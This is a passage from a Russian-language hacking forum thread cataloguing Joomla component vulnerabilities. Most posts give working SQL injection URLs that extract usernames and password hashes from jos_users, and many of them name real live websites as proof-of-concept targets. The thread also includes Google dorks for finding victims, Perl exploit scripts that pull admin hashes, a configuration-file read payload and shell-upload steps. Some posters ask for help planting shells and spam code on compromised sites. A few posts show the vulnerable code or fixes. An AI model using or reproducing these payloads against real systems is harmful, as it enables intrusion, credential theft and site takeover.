PDA

Просмотр полной версии : Обзор уязвимостей CMS [Joomla,Mambo] и их компонентов


Страницы : 1 [2]

winstrool
23.03.2012, 20:33
Joomla "com_rokmodule" component SQL Injection

Уязвим параметр moduleid, что позволяет провести SQL-injection.

Эксплyатация:


index.php?option=com_rokmodule&tmpl=component&type=raw&moduleid=[SQLblind]

PoC:


http://sdf.com.ua/index.php?option=com_rokmodule&tmpl=component&type=raw&moduleid=20+and+1=1&offset=_OFFSET_

true


http://sdf.com.ua/index.php?option=com_rokmodule&tmpl=component&type=raw&moduleid=20+and+1=1&offset=_OFFSET_

false

Уязвимый код:

components/com_rokmodule/rokmodule.php


if (isset($module_name)) {

$query="SELECT DISTINCT * from #__modules where titl e='".$module_name."'"; }

else {

$query="SELECT DISTINCT * from #__modules where id=".$module_id; }

Ereee
24.03.2012, 08:32
Joomla "com_realty" component SQL Injection

Уязвим параметр id, что позволяет провести SQL-injection.

Эксплyатация:


http://site.ltd/?option=com_realty&Itemid=60&task=show_offer&id=-174+union+select+1,2,3,4,5,6,7,8,9,10,11,12,13,14, 15,version(),17,18,19,20,21,22,23,24,25,26,27,conc at_ws(0x3a,username,password,usertype,0x4861636b65 64206279204572656565),29,30,31,32,33+from+jos_user s+limit+0,1--+d

PoC:


http://expert-dubna.ru/?option=com_realty&Itemid=60&task=show_offer&id=-174+union+select+1,2,3,4,5,6,7,8,9,10,11,12,13,14, 15,version(),17,18,19,20,21,22,23,24,25,26,27,conc at_ws(0x3a,username,password,usertype,0x4861636b65 64206279204572656565),29,30,31,32,33+from+jos_user s+limit+0,1--+d

eclipse
02.04.2012, 10:05
Исправление
Joomla "com_datsogallery" sqli




http://joomlaforum.ru/index.php?topic=33952.0;wap2


Плохое исправление, в если пофиксить сайт таким образом, sql inj не будет, но останется возможность sixss и вывод ошибки также не исчезнет

SIXSS PoC


http://www.lxphoto.ru/components/com_datsogallery/sub_votepic.php?func=vote&user_rating=5&id=1
User-Agent:
alert(/xss/)


Для корректного исправления нужно добавить в предлагаемый код что-то вроде strip_tags, и error_reporting чтобы ошибки не выдавать:


error_reporting(0);
$browser = strip_tags($_SERVER['HTTP_USER_AGENT']);
$browser_tmp = ' '.strtoupper($browser);
if ((strpos($browser_tmp, 'SELECT')) or
(strpos($browser_tmp, 'DELETE')) or
(strpos($browser_tmp, 'UPDATE')) or
(strpos($browser_tmp, 'INSERT')) or
(strpos($browser_tmp, ' FROM ')) or
(strpos($browser_tmp, ' INTO ')) or
(strpos($browser_tmp, 'VALUES'))
) {
die('SQL-injection rejected.');
}



Я думаю лучше юзать скуль в данном случае.

GET http://www.sociotypes.ru/components/com_datsogallery/sub_votepic.php?func=vote&user_rating=5&id=1
User-Agent: Mozilla' and (select 1 from(select count(*),concat(version(),0x00,floor(rand(0)*2))x from jos_users group by x)a)or'
Duplicate entry '5.0.26-log' for key 1




" if author else f"

Expl0ited said:
Я думаю лучше юзать скуль в данном случае.

GET http://www.sociotypes.ru/components/com_datsogallery/sub_votepic.php?func=vote&user_rating=5&id=1
User-Agent: Mozilla' and (select 1 from(select count(*),concat(version(),0x00,floor(rand(0)*2))x from jos_users group by x)a)or'
Duplicate entry '5.0.26-log' for key 1




Или


GET http://www.sociotypes.ru/components/com_datsogallery/sub_votepic.php?func=vote&user_rating=5&id=1
User-Agent: Mozilla') on duplicate key update a=(select 1 from(select count(*),concat((select username from jos_users limit 0,1),floor(rand(0)*2)) x from jos_users group by x)a)-- -
Duplicate entry 'admin
1
' for key 1


На некоторых сайтах один из вариантов не работает

Skofield
05.06.2012, 17:53
Joomla "com_realty" SQL-inj

Уязвимый параметр:


http://site.com/index.php?option=com_realty&act=detailed&ln=[SQL-inj]

Эксплуатация:


http://site.com/index.php?option=com_realty&act=detailed&ln=-99999'+union+select+1,2,3,4,5,6,7,8,9,10,11,12,13, 14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30 ,31,32,33,34,35,36,37,38,39,40,41,42,43,44,45,46,4 7,48,49,50,51,52,53,54,55,56,57,58,59,60,61,62,63, 64,65,66,67,68,69,70,71,72,73,74,75,76,77,78,79,80 ,81,82,83,84,85,86,87,88,89,90,91,92,93,94,95,96,9 7,98,99,100,101,102,103,104,105,106,107,108,109,11 0,111,112,113,114,115,116,117,118,119,120,121,122, 123,124,125,126,127,128,129,130,131,132,133,134,13 5,136,137,138,139,140,141,142,143,144,145,146,147, 148,149,150,151,152,153,154,155,156,157,158,159,16 0,161,162,163,164,165,166,167,168,169,170,171,172, 173,174,175,176,177,178,179,180,181,182,183,184,18 5,186,187,188,189,190,191,192,193,194,195,196,197, 198,199,200,201,202,203,204,205,206,207,208,209,21 0,211,212,213,214,215,216,217,218,219,220,221,222, 223,224,225,226,227,228,229,230,231,232,233,234,23 5,236,237,238,239,240,241,242,243,244,245,246,247, 248,249,250,251,252,253,254,255,256,257,258,259,26 0,261,262,263,264,265,266,267,268,269,270,271,272, 273,274,275,276,277,278,279,280,281,282,283,284,28 5,286,287,288,289,290--+

Замечание: 290 колонок. Простой скрипт, который подставит все колонки в url:

[PHP]
[COLOR="#0000BB"][COLOR="#007700"]

winstrool
05.06.2012, 19:13
Joomla "com_realty" SQL-inj


/showpost.php?p=3077437&postcount=253

Дополнение к топику))

winstrool
15.06.2012, 23:26
Joomla "com_ponygallery" component SQL Injection

Захожу на сайт _http://www.exploit-db.com и вижу в поиске последнеи сплоиты на джумлу

сам сплоит не выложен но сказано что найдена уязвимость в древнем компаненте com_ponygallery

_http://www.exploit-db.com/exploits/18741/

ищу по дорку в гугле "inurl:com_ponygallery"

нахожу уязвимый сайт и раскручиваю два уязвимых параметра...

один как sqli:


_http://judo.perm.ru/i
ndex.php?option=com_ponygallery&Itemid=131&func=detail&id=-270'+union+select+1,2,version(),4,5,6,7,8,9,0,11,1 2,13,14+--+


Второй как Blind:

h


ttp://www.trexgorka.ru/
index.php?option=com_ponygallery&Itemid=131&func=viewcategory&catid=1'+and+1=1+--+
TRUE
http://www.trexgorka.ru/
index.php?option=com_ponygallery&Itemid=131&func=viewcategory&catid=1'+and+1=0+--+
FALSE


Просматриваю код компанента на залитом шеле и нахожу уязвимый пораметре файла sub_viewdetails.php:


$database->setQuery(
"SELECT c.access FROM #__ponygallery_catg as c" . "\n left join #__ponygallery as a on a.catid=c.cid"
. "\n WHERE a.id= '$id'" );


а чтоб защитить компанент от уязвимости достаточно было добавить функцию "intval()"

anti-boyan по antichat'у в гуглу: "site:forum.antichat.ru com_ponygallery"

promarketing
20.06.2012, 00:43
============================================
Joomla! (Multiple) ExploiT

============================================

# Powered Joomla! 1.5 & All version Down (Multiple)


# Author: Mr.MLL
# Published: 2010-08-24
# Verified: yes
# Download Exploit Code
# Download N/A

===


# Software : http://www.joomla.org/download.html
# Vendor : http://www.joomla.org/
# Contact : Y-3@hotmail.com

===

logout();

// JS Popup message
if ( $message ) {
?>

=========
# ExploiT

http://127.0.0.1/path/index.php?option=cookiecheck&return=http://Google.com/


=========

# Thanks : milw0rm.com & exploit-db.com & offsec.com & inj3ct0r.com & www.hack0wn.com

exit ,, / Praise be to God for the blessing of Islam

какой толк от этой уязвимости?

Mihanik
19.07.2012, 12:32
кто сталкивался с джумловской защитой от прямого доступа к файлам? там в index.php определяется переменная JEXEC = '1', а во всех остальных файлах идет проверка:


defined('_JEXEC') or die('Restricted access');// no direct access

и соответственно при попытке изменить хоть на байт любой файл, код просто не прогружается.. все перекопал, но так и не понял что к чему..

есть у кого мысли как это обойти?

нужно сделать инклюд пхп файла в один файл шаблона, но эта самая защита не дает..

Ereee
19.07.2012, 13:18
кто сталкивался с джумловской защитой от прямого доступа к файлам? там в index.php определяется переменная JEXEC = '1', а во всех остальных файлах идет проверка:

defined('_JEXEC') or die('Restricted access');// no direct access

и соответственно при попытке изменить хоть на байт любой файл, код просто не прогружается.. все перекопал, но так и не понял что к чему..
есть у кого мысли как это обойти?
нужно сделать инклюд пхп файла в один файл шаблона, но эта самая защита не дает..




//defined('_JEXEC') or die('Restricted access'); // no direct access

winstrool
21.09.2012, 07:19
Joomla "com_sobi2" component SQL Injection

Уязвим параметр fid при установленом параметре sobi2Task=dd_download, что позволяет провести SQL-injection.

id - должен быть существующий.

Эксплyатация:


index2.php?option=com_sobi2&sobi2Task=dd_download&fid=[SQLblind]

PoC:


http://open-psa.org/joomla1.5/index2.php?option=com_sobi2&sobi2Task=dd_download&fid=3+and+1=1+--+

true


http://open-psa.org/joomla1.5/index2.php?option=com_sobi2&sobi2Task=dd_download&fid=3+and+1=0+--+

false

Дорк: "inurl:com_sobi2 fid"


Результатов: примерно 509 000


Уязвимый код:

com_sobi2/plugins/download/download.class.php


function downloadFile()
{
$config =& sobi2Config::getInstance();
$database =& $config->getDb();
$fid = sobi2Config::request($_REQUEST, "fid", 0);
if($fid) {
$query = "SELECT `filename`, `filetype`, `filesize`, `fileext`, `itemid` FROM `#__sobi2_plugin_download` WHERE `fid` =
{$fid}
AND `enabled` = 1";
$database->setQuery($query);
$file = null;
if( !$config->forceLegacy && class_exists( "JDatabase" ) ) {
$file = $database->loadObject();
}
else {
$database->loadObject( $file );
}
if( $database->getErrorNum() ) {
$config->logSobiError( "Download plugin. DB reports: ".$database->stderr() );
}
$query = "UPDATE `#__sobi2_plugin_download` SET `counter` = `counter` + 1 WHERE `fid` =
{$fid}
";
$database->setQuery($query);
$database->query();
}
else {
trigger_error("sobi_download::downloadFile(): missing file id",E_USER_WARNING);
return null;
}
if(!is_object($file)) {
trigger_error("sobi_download::downloadFile(): DB error ($query)",E_USER_WARNING);
return null;
}
$filePath = _SOBI_CMSROOT.DS.$this->directory.$file->itemid.DS.$file->filename;
if(!file_exists($filePath)) {
trigger_error("sobi_download::downloadFile(): file {$filePath} does not exist");
return null;
}
$fileType = $this->mapExtension($file->fileext);
ob_end_clean();
ob_start();
header("Content-Disposition: attachment; filename = \"{$file->filename}\"");
header("Content-Type: {$fileType}");
readfile($filePath);
exit();
}



Perl Exploit :

[I]За основу был взят сплоит от сюда /showpost.php?p=755600&postcount=90

и переделан под данную уязвимость


#!/usr/bin/perl
use LWP::UserAgent;
use Getopt::Long;
if(!$ARGV[1])
{
print " \n";
print " ################################################## ##############\n";
print " # Joomla Component com_sobi2 Blind SQL Injection Exploit #\n";
print " # Author:winstrool #\n";
print " # #\n";
print " # Dork: inurl:com_sobi2 #\n";
print " # Usage: perl sobi2.pl host path #\n";
print " # Example: perl sobi2.pl www.host.com /joomla/ -t 11 #\n";
print " ################################################## ##############\n";
exit;
}
my $host = $ARGV[0];
my $path = $ARGV[1];
my $tid = $ARGV[2];
my %options = ();
GetOptions(\%options, "p=s", "t=i");
print "[~] Exploiting...\n";
if($options{"t"})
{
$tid = $options{"t"};
}
syswrite(STDOUT, "[~] MD5-Hash: ", 14);
for(my $i = 1; $i new;
my $query = "http://".$host.$path."index2.php?option=com_sobi2&sobi2Task=dd_download&fid=".$tid." and (SUBSTRING((SELECT concat_ws(0x3a,user(),version(),database())),".$i.",1))=CHAR(".$h.")";
if($options{"p"})
{
$ua->proxy('http', "http://".$options{"p"});
}
my $resp = $ua->get($query);
my $content = $resp->as_string;
if($content =~ /Disposition/)
{
return 1;
}
else
{
return 0;
}
}

winstrool
26.09.2012, 23:40
Joomla "com_ownbiblio" component SQL Injection

Уязвим параметр catid

Эксплyатация:


index.php?option=com_ownbiblio&catid=-1+union+select+1,2,3,concat(username,0x3a,password ,0x3a,usertype),5,6,7,8,9,0,11,12,13,14,15,16,17+f rom+jos_users+--+

количество калонок может меняться!

POC:


http://www.wisdomtherapy.com/index.php?option=com_ownbiblio&catid=-1+union+select+1,2,3,concat%28user%28%29,version%2 8%29,database%28%29%29,5,6,7,8,9,0,11,12,13,14,15, 16,17+from+jos_users+--+&Itemid=0&year=All&search=&page=2&view=catalogue


Дорк: "inurl:com_ownbiblio catid"

Уязвимый код:

сomponents/com_ownbiblio/models/ownbiblio.php

[QUOTE="None"]
function getCategoryByID($ID)
{
$query = "
SELECT
* FROM #__ownbiblio_categories WHERE ID =".
$ID
;
$category = $this->_getList($query);
return $category[0];
}
[ ... ]
function _getEntrysQuery($year = 'All', $catid = 0, $start, $end,$search = null, $ob_untilyear = null){
$query = "
SELECT
* FROM #__ownbiblio WHERE catid = " .
$catid
;
$limit = $ob_untilyear;
if($search){
$query .= " AND (tname LIKE '
%$search%
' OR ttitle LIKE '
%$search%
' OR tjourn LIKE '
%$search%
' OR tdate LIKE '
%$search%
' OR tdesc LIKE '
%$search%
' OR tkeys LIKE '
%$search%
')";
} elseif($year != 'All' && $year != 'Other'){
$query .= " AND tdate like '%" . $year . "%'";
} elseif($year == 'Other' && $ob_untilyear != null){
$query .= " AND tdate _getList($query);
return $category[0];
}
[ ... ]
function _getEntrysQuery($year = 'All', $catid = 0, $start, $end,$search = null, $ob_untilyear = null){
$query = "
SELECT
* FROM #__ownbiblio WHERE catid = " .
$catid
;
$limit = $ob_untilyear;
if($search){
$query .= " AND (tname LIKE '
%$search%
' OR ttitle LIKE '
%$search%
' OR tjourn LIKE '
%$search%
' OR tdate LIKE '
%$search%
' OR tdesc LIKE '
%$search%
' OR tkeys LIKE '
%$search%
')";
} elseif($year != 'All' && $year != 'Other'){
$query .= " AND tdate like '%" . $year . "%'";
} elseif($year == 'Other' && $ob_untilyear != null){
$query .= " AND tdate

winstrool
19.10.2012, 21:24
Joomla "com_jomtube" component SQL Injection

Уязвим параметр user_id

Эксплyатация:


index.php?view=videos&type=member&user_id=[ID юзера] and 1=0 union select 1,2,3,4,5,6,7,8,concat(username,0x3a,password,0x3a ,usertype),0,11,12,13,14,15,16,17,18,19,20,21,22,2 3,24,25,26,27 from jos_users limit 0,5 -- &option=com_jomtube

user_id - должен быть существующий!

POC:


http://www.mbrrealty.com.au/index.php?view=videos&type=member&user_id=63%20and%201=0%20union%20select%201,2,3,4, 5,6,7,8,9,0,11,12,concat_ws%280x3a,user%28%29,vers ion%28%29,database%28%29%29,14,15,16,17,18,19,20,2 1,22,23,24,25,26,27%20--%20&option=com_jomtube


Дорк: "inurl:com_jomtube"

Уязвимый код:

components/com_jomtube/models/video.php

Пару моментов, все приводить не буду:


$where
= ' WHERE v.id = ' .
$this->_id
;
$join = ' LEFT JOIN #__users AS u ON u.id = v.user_id';
$select = ' v.*, u.name, u.username';
if ($c->community == 'JomSocial') {
$join.= ' LEFT JOIN #__community_users AS p ON p.userid =
v.user_id
';
$select.= ', p.avatar';
}
$select .= ', c.directory, c.family_id, c.category_name';
$join .= ' JOIN #__jomtube_categories AS c ON c.id = v.category_id';
$query = '
SELECT ' . $select . ' FROM #__jomtube_videos AS v ' . $join . $where
;
[ ... ]
function getVideosincategory() {
$query = 'SELECT v.*, c.directory, u.username, c.category_name, u.id as userid '
. ' FROM #__jomtube_videos AS v '
. ' LEFT JOIN #__users AS u ON
v.user_id = u.id
'
. ' JOIN #__jomtube_categories AS c ON c.id = v.category_id'
. ' WHERE v.category_id = '.$this->_data->category_id
. ' AND v.id != ' .
$this->_id
. ' AND v.published = 1 '
. ' ORDER BY v.date_added DESC'
. ' LIMIT 20'
;
$this->_db->setQuery($query);
return $this->_db->loadObjectList();



P.S:Уязвимость старая и давно есть в паблике, как сегодня убедился до сих пор актуальна.

http://www.exploit-db.com/exploits/14434/

Unknown
19.10.2012, 21:33
Joomla tag Remote Sql Exploit

dork: inurl:index.php?option=com_tag


#!/usr/bin/perl -w

print"\t\t\n\n";

print"\t\n";

print"\t \n";

print"\t Joomla com_tag Remote Sql Exploi t \n";

print"\t\n\n";

useLWP::UserAgent;

print"\nExample:[http://wwww.site.com/]: ";

chomp(my $target=);

$user="username";

$pass="password";

$table="jos_users";

$d4n="com_tag&task";

$b=LWP::UserAgent->new() or die"Could not initialize browser\n";

$b->agent('Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1)') ;

$host=$target."index.php?option=".$d4n."&tag=999999.9' union all select 1,concat(0x3c75 7365723e,".$user.",0x3c757365723e3c706173733e,".$pass.",0x3c706173733e)+from ".$table."--+a";

$res=$b->request(HTTP::Request->new(GET=>$host));

$answer=$res->content;

if ($answer=~ /(.*?)/){

print"\nLos Information for site:\n";

print"\n

* Admin User : $1";

}

if ($answer=~/(.*?)/){print"\n

* Admin Hash : $1\n\n";

print"\t\t# Exploit finished #\n\n";}

else{print"\n[-] Exploit Failed...\n";}

winstrool
14.11.2012, 22:24
Joomla "com_commedia" component SQL Injection

Уязвим параметр id

Эксплyатация:


index.php?option=com_commedia&format=raw&task=down&pid=124&id=2238+and+1=0+union+select+concat%28username,0x3 a,password,0x3a,usertype%29,2+from+jos_users+where +usertype+like+0x2561646D696E6973747261746F7225+li mit+0,1+--+

POC:


http://www.radiodan[google]cemusic.com/index.php?option=com_commedia&format=raw&task=down&pid=124%27+and+1=0&id=2238+and+1=0+union+select+concat%28username,0x3 a,password,0x3a,usertype%29,2+from+jos_users+where +usertype+like+0x2561646D696E6973747261746F7225+li mit+1,1+--+


Дорк: "inurl:com_commedia id"

Уязвимый код:

components/com_commedia/models/file.php


function DownFile($image=false/*может картинка нужна?*/) {
include_once(JPATH_SITE.DS."components".DS."com_commedia".DS."classes".DS."functions.php");
$db =& JFactory::getDBO();
$db->setQuery("SELECT * FROM #__commedia_settings");
$commsett = $db->loadAssocList('name');
//кодировка файловой системы
$fnames_encoding = comm_getencoding($commsett['fnames_encoding']['value']);
$db->setQuery("SELECT CONCAT(path,'/',name) as path, name
FROM `#__commedia` as c, `#__commedia_path` as cp
WHERE c.rowid=".
$_REQUEST['id']
." and cp.path_id=".
$_REQUEST['pid']
);
if (!$db->query()) $path = ''; //если не удалось выполнить, значит запретим доступ
else {
$line=$db->loadObject();
if(!$line) $path = ''; //если ничего не найдено
else {
if (strpos($line->path,'ftp://') === 0) $ftphttp = 1; //для фтп пути отдельно
else if (strpos($line->path,'http://') === 0) $ftphttp = 2; //для http пути отдельно
else {
$ftphttp = 0;
$file = JPATH_SITE.DS.str_replace('/',DS,iconv('UTF-8', $fnames_encoding,$line->path));
if ($image=='1') $file = substr($file,0,-4).'.jpg';
else if ($image=='2') $file = substr($file,0,-4).'_thumb.jpg';
}
$name = $line->name;
}
}



P.S: "_ttp://www.explo[google]it-db.com/exploits/22152/"

KolosJey
14.11.2012, 22:55
Joomla "com_commedia" component SQL Injection
Уязвим параметр
id
Эксплyатация:

index.php?option=com_commedia&format=raw&task=down&pid=124&id=2238+and+1=0+union+select+concat%28username,0x3 a,password,0x3a,usertype%29,2+from+jos_users+where +usertype+like+0x2561646D696E6973747261746F7225+li mit+0,1+--+

POC:
Дорк:
"inurl:com_commedia id"
Уязвимый код:
components/com_commedia/models/file.php
P.S: "_ttp://www.explo[google]it-db.com/exploits/22152/"


Если не просто копипастить баги и совать кавычки, а хотя бы 10 секунд посмотреть в код, станет очевидно, что там ещё и чтение файлов.

Как там у хакеров? 0day pRiv8

index.php?option=com_commedia&format=raw&task=down&pid=124&id=2238+and+1=0+union+select+0x2e2f636f6e666967757 26174696f6e2e706870,2--+

winstrool
14.11.2012, 23:04
Если не просто копипастить баги и совать кавычки, а хотя бы 10 секунд посмотреть в код, станет очевидно, что там ещё и чтение файлов.
Как там у хакеров? 0day pRiv8
index.php?option=com_commedia&format=raw&task=down&pid=124&id=2238+and+1=0+union+select+0x2e2f636f6e666967757 26174696f6e2e706870,2--+


Моя цель была раскрыть сам уязвимый код, а не копипаст! на счет чтения файлов я тоже видел, но еще пока не проверил...

Unknown
21.11.2012, 20:01
Joomla "com_conference" SQL Injection

Уязвим параметр ID

Эксплуатация:


/index.php?option=com_conference&task=show&id=999999.9 /*!UNION ALL SELECT 0x31303235343830303536,0x31303235343830303536,conc at(0x7e,0x27,unhex(Hex(cast(database() as char))),0x27,0x7e),0x31303235343830303536,0x313032 35343830303536*/--

Unknown
18.12.2012, 01:44
Сканер joomla сайта​

Появился новый проект - c0lips.ru (http://c0lips.ru), здесь вы можете проверить свой сайт на наличие уязвимых компонентах, посмотреть советы по устранению уязвимостей, посмотреть уязвимый код компонента и уже исправленный код.

Для актуализации проекта, прошу добавлять свои уязвимости по адресу: тык (http://c0lips.ru/admin.php)

grimnir
20.12.2012, 21:49
Joomla All v1.5 Error Based SQL Injection Vulnerability

Joomla Component com_user

####

# Exploit Title: Joomla All v1.5 Error Based SQL Injection Vulnerability

# Author: Caddy-Dz

# Facebook Page: https://www.facebook.com/Algerian.Cyber.Army

# E-mail: islam_babia@hotmail.com

# Category:: webapps

# script home : http://joomla.com

# Dork : inurlption=com_user

# Security Risk: critical

# Tested on: Back|Track 5 KDE / French

####

# this was written for educational purpose only. use it at your own risk.

# author will be not responsible for any damage caused! user assumes all responsibility

# intended for authorized web application pentesting only!

// Description :

the affected component is /com_user/ in all joomla v1.5

P.S : you could know the version by openning the source code of the target and searching for "joomla" you'll see the version

// Exploit :

http://site.com/index.php?option=com_user&view=reset&lang=en&Itemid=1+(sql injection)

http://site.com/index.php?option=com_user&view=reset&lang=en&Itemid=x+(sql injection) [replacing id number by character]

# priv8 youtube link, just people who has the link could view :

http://www.youtube.com/watch?v=g0QcjxIb68I

// Demo :

http://www.lyceeairbus.com/index.php?option=com_user&view=reset&lang=en&Itemid=1'

http://www.silviajewelry.com/index.php?option=com_user&view=reset&Itemid='

http://www.bklogisticsvn.com/index.php?option=com_user&view=reset&lang=en&Itemid='

http://algeria.ch/index.php?option=com_user&view=reset&lang=en&Itemid='

http://www.emissary.com/index.php?option=com_user&view=reset&lang=en&Itemid='

http://lookdezine.com/main/index.php?option=com_user&view=reset&lang=en&Itemid='

# Greets To : ================================================== ============================

# The Algerian Cyber Army Team , KedAns-Dz , Klashincov3 , Kha&Mix , King Of Pirates ,

# D4NB4R , Inj3ct0r Team , jos_ali_joe , exploit-id team , OWASP Algeria

# ... And All Algerian Hax0rs

================================================== ==========================================

# 1337day.com [2012-12-12][/quote]

po[w]er
22.12.2012, 12:57
Сканер joomla сайта​
Появился новый проект -
c0lips.ru (http://c0lips.ru)
, здесь вы можете проверить свой сайт на наличие уязвимых компонентах, посмотреть советы по устранению уязвимостей, посмотреть уязвимый код компонента и уже исправленный код.
Для актуализации проекта, прошу добавлять свои уязвимости по адресу:
тык (http://c0lips.ru/admin.php)


отличный

iskus
25.12.2012, 14:01
TinyMCE TinyBrowser addon multiple vulnerabilities

Салют, парни, кому-то удалось использовать эту уязвимость для заливки шелла? Может натолкнете на мысль верную, как обойти Restricted access

http://yehg.net/lab/pr0js/advisories/tinybrowser_1416_multiple_vulnerabilities

Спасибо за помощь.

Unknown
25.12.2012, 23:49
Салют, парни, кому-то удалось использовать эту уязвимость для заливки шелла? Может натолкнете на мысль верную, как обойти
Restricted access
http://yehg.net/lab/pr0js/advisories/tinybrowser_1416_multiple_vulnerabilities
Спасибо за помощь.


Данная бага актуальна для joomla 1.5.12, которая сейчас практически не встречается и как вы ее собрались использовать я не понимаю.

В joomla заливайте шелл через модули/шаблоны, собственно как и в других CMS...

xaknem
10.01.2013, 20:19
Подскажите пожалуйста, залит шелл на сайт под управлением Joomla (доступа в админку нет), подскажите можно ли в какой либо модуль воткнуть код системы sape ?

Дело в том что стоят права только на чтение в папке шаблона, и стандартным способом не удается установить sape

На модули выставлены права разрешающие редактирование

Также в папке шаблона залит мой php файл который я могу редактировать (на него выставлены права)

Заранее благодарен

winstrool
10.01.2013, 22:03
Подскажите пожалуйста, залит шелл на сайт под управлением Joomla (доступа в админку нет), подскажите можно ли в какой либо модуль воткнуть код системы sape ?
Дело в том что стоят права только на чтение в папке шаблона, и стандартным способом не удается установить sape
На модули выставлены права разрешающие редактирование
Также в папке шаблона залит мой php файл который я могу редактировать (на него выставлены права)
Заранее благодарен


Если есть возможность заливать в папку шаблона, то попробуй сначало скапировать к себе шаблон, орегинал удалить, а потом перезалить его, по идее должны стать права на правку, но естественно если сама папка в каторой находится шаблон с полными правами...

xaknem
11.01.2013, 00:03
Если есть возможность заливать в папку шаблона, то попробуй сначало скапировать к себе шаблон, орегинал удалить, а потом перезалить его, по идее должны стать права на правку, но естественно если сама папка в каторой находится шаблон с полными правами...


права на правку только в одном файле который лежит в папке с шаблоном, могу редактировать только его

еще права на редактирование на папки модулей

winstrool
12.01.2013, 22:27
PHP-iclude: com_jomholiday


http://jomholiday.comdev.eu/component/jomholiday/index.php?option=com_jomholiday&task=item&id=80%27d&layout=writeareview/../../../../../../../../../../../../../../../../../../../home/jomholiday/public_html/index


залиться пока не получилось, как зальюсь приведу пример уязвимого кода.

infoseller
19.01.2013, 19:49
# Exploit Title:Joomla com_collecter shell upload
# Author: Red Dragon_al (Alb0zZ Team)
# Home :HackForums.AL,alb0zz.in
# Date :19/01/2013
# Category:: web apps
# Google dork: [inurl:index.php?option=com_collector]
# Tested on: Windows XP
# Download: http://www.steevo.fr/en/download
# Home Page: http://www.steevo.fr/ --------------------------------------- # ~ Expl0itation ~
# ---------------------------------------
1- Google dork: [inurl:index.php?option=com_collector]
2- add this part to the site/index.php?option=com_collector&view=filelist&tmpl=component&folder=&type=1
3- it will look like this http://www.site.com/[path]//index.php?option=com_collector&view=filelist&tmpl=component&folder=&type=1 upload ur shell as : shell.php
# Greetz :R-t33n , dA3m0n , 0x0 ,The0c_No , AutoRun , Dr.Sql , Danzel , RetnOHacK , eragon, gForce , Th3_Power , AHG-CR3W, & All my friends. #2013

http://www.exploit-db.com/exploits/24228/

winstrool
19.01.2013, 23:03
# Exploit Title:Joomla com_collecter shell upload
# Author: Red Dragon_al (Alb0zZ Team)
# Home :HackForums.AL,alb0zz.in
# Date :19/01/2013
# Category:: web apps
# Google dork: [inurl:index.php?option=com_collector]
# Tested on: Windows XP
# Download: http://www.steevo.fr/en/download
# Home Page: http://www.steevo.fr/ --------------------------------------- # ~ Expl0itation ~
# ---------------------------------------
1- Google dork: [inurl:index.php?option=com_collector]
2- add this part to the site/index.php?option=com_collector&view=filelist&tmpl=component&folder=&type=1
3- it will look like this http://www.site.com/[path]//index.php?option=com_collector&view=filelist&tmpl=component&folder=&type=1 upload ur shell as : shell.php
# Greetz :R-t33n , dA3m0n , 0x0 ,The0c_No , AutoRun , Dr.Sql , Danzel , RetnOHacK , eragon, gForce , Th3_Power , AHG-CR3W, & All my friends. #2013

http://www.exploit-db.com/exploits/24228/


P.S: копировать не стоит сплоиты с других ресурсов, если копи пастите, то лудше с раскрытием уязвимого года не болие...

uCryNet
22.01.2013, 20:34
exploit [joomla]

Test screen [http://data.imagup.com/10/1171476626.png] [http://168.63.206.26/test2.png]

3xpl01t c0d3 :


Dork (N/A) "inurl:option=com_huruhelpdesk" or "inurl:/index.php?option=com_huruhelpdesk&view=detail"
author : *devil-zone.net
greet is to : devil-zone.net *all members
vel = sqlI

S1mPl3 P3rL 3xpl01t3r


#!/usr/bin/perl
#greet is to Evil-Dz
system("clear");
print "***************************************\n";
print " * * * * Good Luck & Hafe Fun * * * * *\n";
print " * * * Coded by devil-zone forum * * **\n";
print "***************************************\n\n";
use LWP::UserAgent;
print "Target page [ex: HosT] --> ";
chomp(my $target= );
$column_name="concat(username,0x3a,password,0x3a,mail)";
$table_name="jos_users";
$prm="-1/**/union/**/select/**/";
$start= LWP::UserAgent->new() or die "[!] Error while processing";
$start->agent('Mozilla/5.0 (Windows NT 6.1; WOW64; rv:7.0.1) Gecko/20100101 Firefox/7.0.12011');
$website= $target . "/index.php?option=com_huruhelpdesk&view=detail&cid[0]=".$prm."1,2,3,".$column_name.",5,6,7+from+jos_users--";
$ok= $start->request(HTTP::Request->new(GET=>$website));
$ok1= $ok->content; if ($ok1 =~/([0-9a-fA-F]{32})/){
print "[+] Password found --> $1\n\n";
sleep 1;
}
else
{
print "No password found :(\n";
}

rik
01.02.2013, 01:29
# Exploit Title:Joomla com_collecter shell upload
# Author: Red Dragon_al (Alb0zZ Team)
# Home :HackForums.AL,alb0zz.in
# Date :19/01/2013
# Category:: web apps
# Google dork: [inurl:index.php?option=com_collector]
# Tested on: Windows XP
# Download: http://www.steevo.fr/en/download
# Home Page: http://www.steevo.fr/ --------------------------------------- # ~ Expl0itation ~
# ---------------------------------------
1- Google dork: [inurl:index.php?option=com_collector]
2- add this part to the site/index.php?option=com_collector&view=filelist&tmpl=component&folder=&type=1
3- it will look like this http://www.site.com/[path]//index.php?option=com_collector&view=filelist&tmpl=component&folder=&type=1 upload ur shell as : shell.php
# Greetz :R-t33n , dA3m0n , 0x0 ,The0c_No , AutoRun , Dr.Sql , Danzel , RetnOHacK , eragon, gForce , Th3_Power , AHG-CR3W, & All my friends. #2013

http://www.exploit-db.com/exploits/24228/


подскажите пожалуйста, как туда залить шелл? выбрать файл, даёт. а кнопка на загрузку не активна.

dmg
04.02.2013, 08:13
Подскажите пожалуйста, это какая версия джумлы: $Id: configuration.php-dist 11687 2009-03-11 17:49:23Z ian $ ?

winstrool
25.02.2013, 23:58
Blind

Joomla "com_spidercalendar" component SQL Injection

Уязвим параметр calendar_id

POC:


http://www.saawf.co.za/index.php?option=com_spidercalendar&view=spidercalendar&calendar_id=1+and+1=1+--+&module_id=60&date60=2012-08-11&Itemid=


- true


http://www.saawf.co.za/index.php?option=com_spidercalendar&view=spidercalendar&calendar_id=1+and+1=0+--+&module_id=60&date60=2012-08-11&Itemid=


- false

Exploit переписанный под пример данного сайта!


